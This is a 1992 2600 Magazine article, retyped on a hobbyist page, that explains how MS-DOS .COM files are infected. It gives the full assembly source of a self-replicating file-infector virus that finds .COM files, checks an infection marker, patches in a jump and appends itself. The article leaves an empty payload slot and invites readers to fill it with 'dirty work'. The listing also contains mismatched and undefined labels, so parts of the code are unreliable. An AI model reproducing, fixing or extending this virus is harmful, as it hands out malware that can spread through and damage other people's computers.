Make your own free website on
Prev || Home
              This Was Taken From 2600 Magazine Spring 1992
                  Typing Work Done by OMEGA/MEGA-Ind.
         Call Europe's Biggest H/P/A/V Board on +31-(0)79-426-079
                 An MS-DOS Virus (By The Paranoid Panda)
The MS-DOS *.COM File is the simplest of all executable files. This format was
included in MS-DOS to provide compatibility with the CP\M operating system.
Allthough CP\M seems to be largely a thing of the past, *.COM files are still
being produced, so there is plenty of opportunity for infection.
As with the Atari virus I Gave you in Spring 1991 issue of 2600, this virus is
designed to infect executable files while still rendering them capable of 
fully performing their original, intended functions. Consequently, this is not
an overwrite virus, and preserves all of the infected file's original code.
The *.COM file has no program header, as do *.EXE files, and has no file 
trailer such as Atari *.PGM, *.TOS and *.TTP program files do. All the *.COM
file has is executable 80x86 instructions. It must be capable of loading in one
segment (64 Kbytes), along with the Program Segment Prefix (PSP) Created by 
MS-DOS at load time, as well as the two byte stack which is automatically 
created. Hence, the complete *.COM file must always be 64 Kbytes, less 256 
Bytes for the PSP, less 2 bytes for the stack. As a result, a candidate file
for infection must be short enough so that when its length is increased by the
length of the virus, it will still not exceed this maximum length, and MS-DOS
will still load it for execution.
MS-DOS will load *.COM files at offset 100 hex (100h using the MicroSoft 
Assembler notation), and all memory references in the program are short (i.e.
16 bit) addresses. This is, in essence, an absolute encoding and addressing
scheme, so that the virus code cannot be added at the beginning while moving
all the original code down in the address by the length of the virus.
The only way to add the virus is at the end, and to insert a short jump to the
virus beginning at the start of the file. This means that the first three 
bytes of the original code will be destroyed, so the virus must save these
three bytes between the end of the file's code and the beginning of the virus
code. Once the virus has completed execution, it restores the original three
to the file's beginning in RAM, and jumps there.
The comments in the accompanying listing pretty well tell the rest of the 
story, but a few words are still in order. There is a space in the code, at
symbolic location "payload:" for insertion of code which does the actual
"dirty work" of the virus. All you will find ther is a single "no op" in-
struction. You can add whatever you think best at that point. This code is
supplied for instructional purpose only, and all that clap-trap.
Note also that this particular version of the virus does not perform a very
sophisticated search for candidates for infection. The search will only be
performed in the directory where the already infected file resides, and does
not search any subdirectories. That's easy enough to fix, ans as the college
text books say, that is an exercise which is left to the student.
Happy Computing!

;Taken From The 2600 Magazine Spring 1992 Volume Nine, Number One! Page 4-7
;Typing work done by OMEGA/MEGA-Ind. On 31th may 92.
;File Virus.asm - This is the launch program for the Mark II virus
;It is to be assembled, linked, and converted to a *.com file using
;EXE2BIN. When run, it looks within the defined search space for other
;COM files to infect, and infects them. Then it runs its payload module.
;This launch program is structured like an infected file, so it contains
;a "dummy" host program like that which would be in an infected file.
;Control is returned to this dummy host program when this program runs.
;In the infected file, control will be returned to the actual program
;it contains after the payload module of its parasitic virus runs.
           _VIRUS SEGMENT
           ASSUME cs:_VIRUS,ds:_VIRUS,ss:_VIRUS
           ORG 100h
;This is the start of the dummy host program. Control is transferred
;here after the virus runs. All it does is terminate the program with
;a normal MS-DOS termination call, after having put out a message
;informing that the program has terminated normally.
;The next instruction is what is actually intended to be
;in the dummy host program. It is the beginning of the code which
;sets up the DOS call to write the termination message on the screen.
;The infected program which would have infected this one would have
;inserted a jump to the beginning of the virus over this, after saving
;what was actually there. When the virus completes, it will restore
;the parts of the mangled original host code, and run the host program.
;          mov bx,1
;What you see encoded below, using the "db" assembler pseudo-op, is
;the hand encoded jump to the beginning of the virus, installed by the
;program which would have infected this one. As it happens, the jump
;written into the beginning is the same length as the instruction
;(mov bx,1) which was there in the first place. In general, there
;is no guarantee just what will be there, and how long it will be.
;Since the program being infected is a COM program, the only guarantee
;is that the file will begin with some executable instruction. Thus,
;the program getting infected may have part of an executable instruction
;mangled by the inserted jump, or possibly one entire instruction plus
;part of another.
;The inserted code begins with "E9", the op-code byte for a jump relative
;to the contents of the IP as it will look after the jump plus displacement
;is fetched. (The IP will contain 103h. COM programs begin at offset
;100h, and the jump plus displacement requires 3 bytes.) The Next two
;bytes are the displacement to the beginning of the virus. The 
;displacement is calculated by the infecting program, as follows:
;D = displacement to be added to current IP (=103) to get to
;    virus start.
;D = Uninfected file length
;  -
;  Current IP (=103)
;  +
;  4 bytes storage space for the overwritten first instruction.
;  If the uninfected length of the target file is odd, a zero byte
;  will be added at its end before the virus code is attached.
;  The virus will thus begin on a word boundary, and NOP's inserted
;  by the assembler to put other things on a word boundary will still
;  perform their intended purpose.
filelength EQU begin-start
start:          db 0E9h             ;Op-code for jump
  		dw filelength+4-3   ;Displacement calculation
		mov cx,lmessage
		mov dx,OFFSET message
		mov ah,40h
		int 21h             ;Put termination message on the screen
		mov ah,4Ch	    ;Function number of normal pgm termination
		int 21h		    ;Call DOS and terminate.
message: db"Launch program has terminated normally.",0Dh,0Ah,0
lmessage EQU $-message
;This ends the dummy host program. What follows is the actual virus,
;which will be copied into the target file.
virlength EQU finish-begin+102h     ;Length of virus + PSP + initial stack.
begin:		db 0bbh,01,00       ;The instruction "mov bx,1" which
				    ;would have been saved here by the
				    ;infected program.
		db 00		    ;Make sabe bin 4 bytes total.
virusbegin:			    ;The beginning of the actual virus code.
;Get and save the base address of the virus.
		mov bp,101h         ;Address of LSB of jump displacement
		mov bx,WORDPTR[bp]  ;Get displacement in bx
		add bx,103h	    ;Add IP contents after first instruction
				    ;Now bx contains address of 
		mov bp,100h         ;Beginning of pgm, where original
				    ;instruction will be restored.
		mov dl,[bx-4]
		mov [bp],dl	    ;First byte
		mov dl,[bx-3]
		mov [bp+1],dl	    ;Second byte
		mov dl,[bx-2]
		mov [bp+2],dl	    ;Third byte
		push bx		    ;Save the actual start of virus.
;########## STACK POINTER INFO:One word pushed on stack ###########
;********** Beginning of the Infection Module ***************
;First, search for an uninfected candidate file. If one is found,
;infect it before running the payload module. If none is found,
;proceed directly with the payload Module.
;Use function SFIRST (Int 21h,fn. 4Eh) to get a candidate file.
		jmp sfirst	     ;Jump over wildcard string
wildcard: db "*.com",0 		     ;Wildcard name for COM files
sfirst: 	mov ah,4Eh	     ;Function no. of SFIRST
		pop dx		     ;Get base address of virus start
		push dx		     ;Restore the stack pointer
		add dx,wildcard-virusbegin    ;Add distance to string.
		mov cx,0	     ;Attribute word=seek normal files
		int 21h		     ;Call DOS
		jnc over1	     ;Found one.
		jmp payload	     ;Otherwise, no COM files, do payload.
;Now that a candidate file is found, make sure that when the virus is
;added, it will not be too long to be a COM file. COM file maximum
;length is 64kbytes less 100h bytes for the PSP, less two bytes for the 0
;bytes added on the stack by the operating system on loading.
over1:		mov bx,80h+1Ah       ;Address in PSP/PCB containing
				     ;file length.
		mov ax,virlength     ;Length of virus
		add ax,[bx]	     ;Will get overflow if file length 
				     ;too big.
		jno checkinfect      ;No overflow, keep going.
		jmp snext	     ;This file too big to infect, try another
;A candidate file has been found. Determine if it is infected, or 
;go on to the next one.
;Open the file.
fileopen:	mov ah,3Dh	     ;Hn. no of OPEN WITH HANDLE
		mov al,02	     ;Open for read/write access.
		mov dx,80h+1Eh       ;Location in DTA of file name
		int 21h		     ;Call DOS.
		jnc opened	     ;Open was successful, continue
		jmp snext	     ;Cannot open this file, look for more.
opened:		push ax		     ;Save file handle.
;##########  STACK POINTER INFO: Two words pushed on stack #############
;Open was successful, move the file pointer to the infection marker.
		mov ah,42h	     ;fn. no. of LSEEK
		mov al,02	     ;Measure offset from end of file
		pop bx		     ;Get file handle.
		push bx	 	     ;Keep file handle on top of stack
		mov cx,0FFFFh	     ;MSB of offset from end.
				     ;Sign extend.
		mov dx,0FFFCh	     ;LSB of infection marker.
				     ;File end -4.
		int 21h		     ;Call DOS.
		jnc over3	     ;No error, continue.
		jmp closefile	     ;Error occurred, close this one
				     ;and look again.
;Read the last four bytes.
over3:		mov ah,3Fh	     ;Fn. no of READ
		pop bx		     ;Get file handle.
		pop dx		     ;Get address of "virusbegin:"
		push dx		     ;Restore to stack
		push bx		     ;Restore file handle on stack.
		add dx,-4	     ;Move pointer back to start of save bin.
		mov cx,4	     ;Read 4 bytes
		int 21h		     ;Call DOS
		jnc over4	     ;No error, keep going.
		jmp closefile        ;Error occurred, close this one,
				     ;look again.
;Compare the last four bytes with the infection marker.
over4:		pop bx		     ;Take file handle off to get to adr.
		pop bp		     ;Get address of "virusbegin:"
		push bp		     ;Restore buffer address
		push bx              ;Restore file handle.
		mov bh,[bp-4]	     ;First byte
		mov bl,[bp-3]	     ;Second byte
		xor bx,0001h	     ;First half match?
		jnz over5	     ;First half doesn't match, continue.
over4a:		mov bh,[bp-2]	     ;Third byte
		mov bl,[bp-1]	     ;Fourth byte
		xor bx,0FFE0h	     ;Second half match?
		jnz over5	     ;No match. Continue.
		jmp closefile	     ;Matches marker. Close and try again.
;File is not infected. Proceed to infect.
;Move file pointer to beginning of file.
over5:		mov ah,42h	     ;Fn. no. of LSEEK
		pop bx		     ;File handle in bx.
		push bx		     ;Keep the stack equalized.
		mov al,00	     ;Offset from file beginning.
		mov cx,0	     ;Offset = 0
 		mov dx,0	     ;Offset = 0
		int 21h		     ;Call DOS
		jnc over6	     ;No error, continue
		jmp closfile	     ;Error, try another file.
;Save the first three bytes in the buffer.
over6:		mov ah,3Fh	     ;Fn. no. of READ
		pop bx		     ;Get the file handle
		pop dx		     ;Beginning of buffer
		push dx		     ;Restore the stack
		push bx		     ;Restore the stack
		add dx,-4	     ;Move pointer to start of save bin.
		mov cx,3	     ;Read 3 bytes
		int 21h		     ;Call DOS
		mov al,0	     ;Zero byte for fourth loc. in save bin.
		add dx,3	     ;Reg. dx points to fourth loc in save bin
		mov bp,dx	     ;Place in base pointer for index.
		mov [bp],al	     ;Write zero byte in fourth loc.
;Move file pointer back to the beginning of the file.
		mov ah,42h	     ;Fn. no. of LSEEK
		pop bx		     ;File handle in bx.
		push bx		     ;Restore the stack
		mov al,00	     ;Offset from file beginning
		mov cx,0	     ;Zero offset
		mov dx,0	     ;Zero offset
		int 21h		     ;Call DOS
		jnc past	     ;No error, continue
		jmp closefile	     ;Error, try another file
;Overwrite the first three bytes with a jump to virus beginning.
tembuf:		db 0E9h,0,0
past:		pop bx		     ;Get file handle
		pop bp		     ;Get actual address of "virusbegin"	
		push bp		     ;Equalize stack
		push bx		     ;Equalize stack 
		mov si,80h+1Ah	     ;Location in DTA of file length
		mov ax,[si]	     ;Get target file length in ax
		xchg ah,al 	     ;Swap halves temporarily
		sahf		     ;Lower byte of file length to flag reg.
		xchg ah,al	     ;Swap back
		jnc noadd	     ;LSB of ax into carry. Jump if c(ax) even.
		add ax,1	     ;Else, add one to c(ax) to make
				     ;result even.
noadd:		add ax,1	     ;Total jump is file length -3+1
		add bp,tempbuf-virusbegin  ; Get address of tempbuf in bp
		mov [bp+1],al	     ;First displacement byte
		mov [bp+2],ah	     ;Second displacement byte
		mov dx,bp	     ;Start of buffer to dx
		mov ah,40h	     ;Function no. of WRITE
		mov cx,3	     ;Write 3 Bytes
		int 21h	  	     ;Call DOS
;Move the file pointer to the end of the file.
		mov ah,42h	     ;Fn. no. of LSEEK
		mov al,02	     ;Offset measured from end.
		mov cx,0	     ;Zero offset
		mov dx,0	     ;Zero offset
		pop bx		     ;Get file handle
		push bx		     ;Restore the stack
		int 21h		     ;Call DOS
;Check target file length. If odd, add a 0 byte at the end.
		mov bp,80h+1Ah	     ;Address of lower byte of file length
		mov ax,[bp]	     ;Get lower byte in ax for comparison
		and ax,1	     ;Get lsb of file length
		jz skip		     ;Skip if file length even
		mov ah,40h	     ;Fn. no. of WRITE
		pop bx		     ;Get file handle
		pop bp		     ;Address of "virusbegin"
		push bp		     ;Equalize stack
		push bx		     ;Equalize stack
		add bp,-1	     ;Move pointer just behind saved 3 bytes
		mov dx,bp	     ;Location of one byte buffer
		mov cx,1	     ;Write one byte
		mov [bp],ch	     ;Zero byte to be written
		int 21h		     ;Call DOS
;Write the virus onto the end of the target file.
skip:		mov ah,40h	     ;Fn. no. of WRITE
		mov cx,finish-begin  ;No. of bytes to be written equals 4 byte
				     ;save bin plus virus executable code.
		pop bx		     ;Get file handle
		pop dx		     ;Address of "virusbegin"
		push dx		     ;Equalized stack
		push bx		     ;Equalized stack
		add dx,-4	     ;Include saved first three bytes.
		int 21h		     ;Call DOS
		pop bx		     ;Get file handle
		mov ah,3Eh	     ;Fn. no. of CLOSE
		int 21h		     ;Close file for good.
		jmp payload	     ;Infection complete. Run the virus
closefile: 	pop bx		     ;Get file handle off stack permanently
		mov ah,3Eh	     ;Fn. no. of CLOSE
		int 21h  	     ;Call DOS
; ########### STACK POINTER INFO:One word pushed on stack ###########
snext:		mov ah,4Fh	     ;Function no. of SNEXT
		int 21h		     ;Call DOS
		jc payload	     ;If error, just go and do payload.
		jmp fileopen	     ;Otherwise, try to infect this one
; *********** End of the Infection Module ************
; ************** Beginning of the Payload Module. **********
payload: 	nop
; ************** End of the Payload Module ************
;Time to finish up. Restore the stack and jump to cs:100h
		pop bp
;############# STACK POINTER INFO:Nothing left on stack ###########
		mov ax,100h
		jmp ax
   END start
;                 Remember Where You Saw it First
;   -----------> Perfect Crime : +31-(0)-79-426-079 <-------------
;                Typing Work Done by OMEGA/MEGA-Ind.